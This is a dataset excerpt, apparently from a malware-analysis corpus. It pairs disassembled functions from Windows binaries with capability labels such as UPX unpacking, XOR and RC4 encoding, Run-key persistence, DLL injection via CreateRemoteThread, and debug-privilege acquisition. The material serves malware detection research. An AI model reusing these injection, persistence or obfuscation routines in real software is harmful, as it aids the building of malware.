joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414e60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x414e7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414e81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414e70
mov eax, 1
add ebx, ebx
jne 0x414e93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414e88
jne 0x414ea4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414e88
xor ecx, ecx
sub eax, 3
jb 0x414eb8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414f2a
mov ebp, eax
add ebx, ebx
jne 0x414ec3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414ef4
inc ecx
add ebx, ebx
jne 0x414ee0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414ed5
jne 0x414ef1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414ed5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414f14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414f05
jmp 0x414e76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414f14
add edi, ecx
jmp 0x414e76
pop esi
mov edi, esi
mov ecx, 0x5a7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414f32
cmp byte [edi], 5
jne 0x414f32
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414f37
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414fa6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15454]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1551c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414f64
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x15520]
or eax, eax
je 0x414fa0
mov dword [ebx], eax
add ebx, 4
jmp 0x414f81
call dword [esi + 0x15530]
mov ebp, dword [esi + 0x15524]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414fda
sub esp, 0xffffff80
jmp 0x40a764

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x259071c1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x77640d7b
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10253c09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10265268]
jne 0x10253c13
repz ret
jmp fcn.10255e0a

Function at 0x102573ef
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10253d0c
and dword [ebp - 4], 0
cmp dword [0x10267458], 0
mov ebx, eax
jne 0x102574a0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10257551
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10257551
push eax
call fcn.10253c9a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10267458], eax
call esi
push eax
call fcn.10253c9a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1026745c], eax
call esi
push eax
call fcn.10253c9a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10267460], eax
call esi
push eax
call fcn.10253c9a
pop ecx
mov dword [0x10267468], eax
test eax, eax
je 0x102574a0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10253c9a
pop ecx
mov dword [0x10267464], eax
mov eax, dword [0x10267464]
cmp eax, ebx
je 0x102574f8
cmp dword [0x10267468], ebx
je 0x102574f8
push eax
call fcn.10253d15
push dword [0x10267468]
mov esi, eax
call fcn.10253d15
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x102574f8
test edi, edi
je 0x102574f8
call esi
test eax, eax
je 0x102574ef
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x102574ef
test byte [ebp - 0xc], 1
jne 0x102574f8
or dword [ebp + 0x10], 0x200000
jmp 0x10257531
mov eax, dword [0x1026745c]
cmp eax, ebx
je 0x10257531
push eax
call fcn.10253d15
pop ecx
test eax, eax
je 0x10257531
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10257531
mov eax, dword [0x10267460]
cmp eax, ebx
je 0x10257531
push eax
call fcn.10253d15
pop ecx
test eax, eax
je 0x10257531
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10267458]
call fcn.10253d15
pop ecx
test eax, eax
je 0x10257551
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10257553
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x102592dd
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x10264bec], 0x1938
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1025b47a]
mov dh, byte [eax + 0x1025b44b]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x102592ff
lea eax, [ebp - 0x24]
mov dword [0x10264bf0], 0x14f9
mov dword [ebp - 0x34], eax
call fcn.1025915e
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10258cc7
mov ecx, dword [0x10264bec]
add ecx, 0xfffffb5f
mov dword [0x10264bf0], ecx
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x1025940b
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10259717
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
mov dword [0x10264bec], 0x2cd
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x24], ecx
mov dword [0x10264bf0], 0x2226
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x54], ecx
add ecx, 0x1a89
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x10259402
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x1025941e
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10264bec], 0x512
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10259490
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x10259490
jmp 0x102594a6
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
jne 0x1025951b
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
jne 0x10259454
mov eax, dword [ebp - 0x18]
mov dword [0x10264bf0], 0x11c4
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x1025951b
mov dword [0x10264bf0], 0x2624
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1025951b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1025951b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1025951b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1025951b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1025946d
xor eax, eax
mov dword [0x10264bf0], 0x1864
mov dword [ebp - 0x20], eax
jmp 0x10259488
Function at 0x1025952f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov ecx, dword [0x10264bf0]
add ecx, 0x77c
mov dword [0x10264bf0], ecx
mov dword [ebp - 0x10], eax
call fcn.10259e6d
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x10264bf0], 0x10e8
mov edi, dword [0x10264bec]
add edi, 0xfffffe9f
mov dword [0x10264bf0], edi
mov esi, dword [eax + esi + 0x78]
mov dword [0x10264bec], 0x171d
mov ebx, edx
add ebx, dword [eax + esi + 0x20]
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ecx
je 0x102596a8
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
jmp 0x102595f2
mov eax, dword [ebp - 0x38]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x1025964c
jmp 0x10259620
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
xor esi, esi
add edx, 0x77c
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + ecx*4]
mov dword [0x10264bf0], edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x38], esi
jmp 0x102595c7
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x38], eax
jne 0x102595c7
mov al, byte [ebp - 0x42]
test al, 1
jne 0x10259685
jmp 0x10259655
xor eax, eax
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov edx, dword [ebp - 0x48]
add edx, 2
mov esi, dword [ebp - 0x18]
cmp ecx, esi
mov edi, dword [ebp - 0x50]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], eax
jb 0x102595f2
jmp 0x102596a8
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov dword [0x10264bec], 0xfffff748
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10259c61
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10264bf8], 0
mov byte [0x10264bfc], 0
mov dword [0x10264bf4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10259cb7
xor eax, eax
mov ecx, 0x1fdd
mov dword [0x10264bf4], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x10259ce9
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10264bec], 0x1fdd
mov eax, dword [0x10264bf4]
add eax, 1
mov dword [0x10264bf4], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10259cb7
jmp 0x10259c9e
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
add eax, 0xfffff6b9
mov dword [0x10264c00], 0
mov dword [ebp - 0x28], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x10264bf8]
mov ebx, dword [ebp - 0x18]
movzx esi, byte [ebx + ecx]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x10264c00], esi
mov dword [0x10264bf0], 0x1dfc
mov eax, esi
cdq
mov esi, dword [ebp - 0x2c]
idiv esi
mov dword [0x10264bf8], edx
mov esi, dword [ebp - 0x28]
mov dword [0x10264bec], esi
mov bl, byte [ebx + ecx]
mov byte [0x10264bfc], bl
mov dword [0x10264bf0], 0xe30
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov ecx, dword [0x10264bf0]
add ecx, 0xfffffd81
mov dword [0x10264bec], ecx
mov bl, byte [0x10264bfc]
mov ecx, dword [0x10264bf8]
mov byte [esi + ecx], bl
mov ecx, dword [0x10264bf4]
add ecx, 1
mov dword [0x10264bf4], ecx
cmp ecx, 0x100
mov dword [ebp - 0x30], ecx
jge 0x10259dc0
mov eax, dword [0x10264bec]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
jmp 0x10259ce9
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10259feb
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10264bf4], 0
mov dword [0x10264bf8], 0
mov dword [0x10264c04], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1025a144
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, eax
add edi, 1
add edx, 1
mov dword [0x10264bec], 0x1e8a
mov dword [ebp - 0x2c], eax
mov eax, edx
cdq
idiv esi
mov dword [0x10264bf4], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x10264bf8], edx
mov dword [0x10264bec], 0x40c5
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x10264bfc], cl
mov dword [0x10264bf0], 0x471
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10264bfc]
mov edx, dword [0x10264bf8]
mov byte [ebx + edx], cl
mov edx, dword [0x10264bf4]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x10264bf8]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x10264c04], ecx
mov dword [0x10264bec], 0x1cd9
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
mov ch, byte [edx + esi]
mov dword [0x10264bf0], 0xbad
mov dword [0x10264bec], 0x1439
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x34], edi
je 0x1025a144
mov eax, dword [0x10264bf4]
mov ecx, dword [0x10264bf8]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x1025a044
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1025a14c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x10264bec], 0x20bf
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1025980d
lea ecx, [0x10259b17]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0x147200
mov edx, dword [0x10264bd8]
mov dword [esp + 0x54], edx
mov edx, dword [0x10264bdc]
mov dword [esp + 0x48], edx
mov edx, dword [0x10264be0]
mov dword [esp + 0x58], edx
mov edx, dword [0x10264be4]
mov dword [esp + 0x68], edx
mov edx, dword [0x10264be8]
mov dword [esp + 0x34], edx
mov dword [0x10264bec], 0x212d
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1025a1e0
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x1025a203
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x1025a217
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1025a1e0
mov eax, dword [esp + 0xc]
mov dword [esp + 0x40], eax
mov dword [0x10264bf0], 0x1fcc
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x30], edx
call fcn.1025941e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
jne 0x1025a1d8
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.102592dd
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x10264bec], 0x1ed4
mov dword [esp + 0x10], eax
jmp 0x1025a1d8
Function at 0x401489
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
movzx eax, word [ebp - 0x2c]
movzx eax, ax
cmp eax, 6
je 0x4014e3
cmp eax, 6
jg 0x4014b9
test eax, eax
je 0x4014f1
cmp eax, 5
je 0x4014d5
jmp 0x40150d
cmp eax, 9
je 0x4014c7
cmp eax, 0xffff
je 0x4014ff
jmp 0x40150d
mov dword [esp], str.64_bit_AMD__K8__K9_
call sym._puts
jmp 0x40151a
mov dword [esp], str.32_bit_ARM__ARM__Thumb__Thumb_2_
call sym._puts
jmp 0x40151a
mov dword [esp], str.64_bit_Intel_Itanium_Processor_Family__IPF_
call sym._puts
jmp 0x40151a
mov dword [esp], str.32_bit_Intel__IA_32_
call sym._puts
jmp 0x40151a
mov dword [esp], str.Unknown_architecture
call sym._puts
jmp 0x40151a
mov dword [esp], str.ERROR___Unable_to_determine_architecture.
call sym._puts
nop
mov eax, 0
leave
ret

Function at 0x401521
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], str.C:UsershacksDocumentsGitHubWindowsBuildingBlockDebugBuildingBlock.exe
mov dword [ebp - 0x10], str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.BuildingBlock
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x40161f
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0x18], eax
mov dword [esp], str.Kernel32
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], str.LoadLibraryA
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x43a
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x28]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401767
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Error:__d_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x401786
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
lea eax, [ebp - 0x11]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
test eax, eax
jne 0x4017cf
mov eax, dword [ebp - 0xc]
jmp 0x4017e7
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, eax
mov eax, dword [ebp + 0xc]
add edx, eax
movzx eax, byte [ebp - 0x11]
mov byte [edx], al
jmp 0x40179a
leave
ret
Function at 0xdf91b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00df9140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00df9140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00df9140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00df9140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xdf9bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xdf9c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xe0b87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xdf9c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xdf9c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x408933
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
call fcn.00408952
xor dword [edi], esi
add edi, 1
cmp edi, eax
jne fcn.00408933
ret